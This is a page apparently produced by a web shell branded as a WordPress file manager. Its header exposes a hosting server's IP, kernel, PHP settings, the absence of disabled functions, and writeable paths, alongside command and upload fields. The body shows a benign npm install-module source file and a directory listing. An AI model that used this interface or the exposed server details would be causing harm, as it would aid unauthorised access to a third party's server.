GRAYBYTE WORDPRESS FILE MANAGER6679

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /lib/node_modules/npm/lib/install/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /lib/node_modules/npm/lib/install//node.js
'use strict'

var defaultTemplate = {
  package: {
    version: '',
    dependencies: {},
    devDependencies: {},
    optionalDependencies: {}
  },
  loaded: false,
  children: [],
  requiredBy: [],
  requires: [],
  missingDeps: {},
  missingDevDeps: {},
  phantomChildren: {},
  path: null,
  realpath: null,
  location: null,
  userRequired: false,
  save: false,
  saveSpec: null,
  isTop: false,
  fromBundle: false
}

function isLink (node) {
  return node && node.isLink
}
function isInLink (node) {
  return node && (node.isInLink || node.isLink)
}

var create = exports.create = function (node, template, isNotTop) {
  if (!template) template = defaultTemplate
  Object.keys(template).forEach(function (key) {
    if (template[key] != null && typeof template[key] === 'object' && !(template[key] instanceof Array)) {
      if (!node[key]) node[key] = {}
      return create(node[key], template[key], true)
    }
    if (node[key] != null) return
    node[key] = template[key]
  })
  if (!isNotTop) {
    // isLink is true for the symlink and everything inside it.
    // by contrast, isInLink is true for only the things inside a link
    if (node.isLink == null) node.isLink = isLink(node.parent)
    if (node.isInLink == null) node.isInLink = isInLink(node.parent)
    if (node.fromBundle == null) {
      node.fromBundle = false
    }
  }
  return node
}

exports.reset = function (node) {
  reset(node, new Set())
}

function reset (node, seen) {
  if (seen.has(node)) return
  seen.add(node)
  var child = create(node)

  // FIXME: cleaning up after read-package-json's mess =(
  if (child.package._id === '@') delete child.package._id

  child.isTop = false
  child.requiredBy = []
  child.requires = []
  child.missingDeps = {}
  child.missingDevDeps = {}
  child.phantomChildren = {}
  child.location = null

  child.children.forEach(function (child) { reset(child, seen) })
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 03 2024 22:36:29
root / root
0755
action
--
March 03 2024 22:36:29
root / root
0755
access-error.js
0.197 KB
March 10 2021 14:36:36
root / root
0644
actions.js
5.516 KB
March 10 2021 14:36:36
root / root
0644
and-add-parent-to-errors.js
0.366 KB
March 10 2021 14:36:36
root / root
0644
and-finish-tracker.js
0.352 KB
March 10 2021 14:36:36
root / root
0644
and-ignore-errors.js
0.199 KB
March 10 2021 14:36:36
root / root
0644
audit.js
8.243 KB
March 10 2021 14:36:36
root / root
0644
check-permissions.js
1.853 KB
March 10 2021 14:36:36
root / root
0644
copy-tree.js
0.752 KB
March 10 2021 14:36:36
root / root
0644
decompose-actions.js
2.18 KB
March 10 2021 14:36:36
root / root
0644
deps.js
30.32 KB
March 10 2021 14:36:36
root / root
0644
diff-trees.js
9.119 KB
March 10 2021 14:36:36
root / root
0644
exists.js
0.757 KB
March 10 2021 14:36:36
root / root
0644
flatten-tree.js
0.997 KB
March 10 2021 14:36:36
root / root
0644
fund.js
1.282 KB
March 10 2021 14:36:36
root / root
0644
get-requested.js
0.62 KB
March 10 2021 14:36:36
root / root
0644
has-modern-meta.js
0.686 KB
March 10 2021 14:36:36
root / root
0644
inflate-bundled.js
0.613 KB
March 10 2021 14:36:36
root / root
0644
inflate-shrinkwrap.js
8.873 KB
March 10 2021 14:36:36
root / root
0644
is-dev-dep.js
0.171 KB
March 10 2021 14:36:36
root / root
0644
is-extraneous.js
0.604 KB
March 10 2021 14:36:36
root / root
0644
is-fs-access-available.js
0.745 KB
March 10 2021 14:36:36
root / root
0644
is-only-dev.js
1.238 KB
March 10 2021 14:36:36
root / root
0644
is-only-optional.js
0.658 KB
March 10 2021 14:36:36
root / root
0644
is-opt-dep.js
0.181 KB
March 10 2021 14:36:36
root / root
0644
is-prod-dep.js
0.168 KB
March 10 2021 14:36:36
root / root
0644
module-staging-path.js
0.253 KB
March 10 2021 14:36:36
root / root
0644
mutate-into-logical-tree.js
4.516 KB
March 10 2021 14:36:36
root / root
0644
node.js
1.851 KB
March 10 2021 14:36:36
root / root
0644
read-shrinkwrap.js
3.672 KB
March 10 2021 14:36:36
root / root
0644
realize-shrinkwrap-specifier.js
0.606 KB
March 10 2021 14:36:36
root / root
0644
report-optional-failure.js
1.017 KB
March 10 2021 14:36:36
root / root
0644
save.js
5.908 KB
March 10 2021 14:36:36
root / root
0644
update-package-json.js
1.87 KB
March 10 2021 14:36:36
root / root
0644
validate-args.js
2.731 KB
March 10 2021 14:36:36
root / root
0644
validate-tree.js
3.104 KB
March 10 2021 14:36:36
root / root
0644
writable.js
1.003 KB
March 10 2021 14:36:36
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF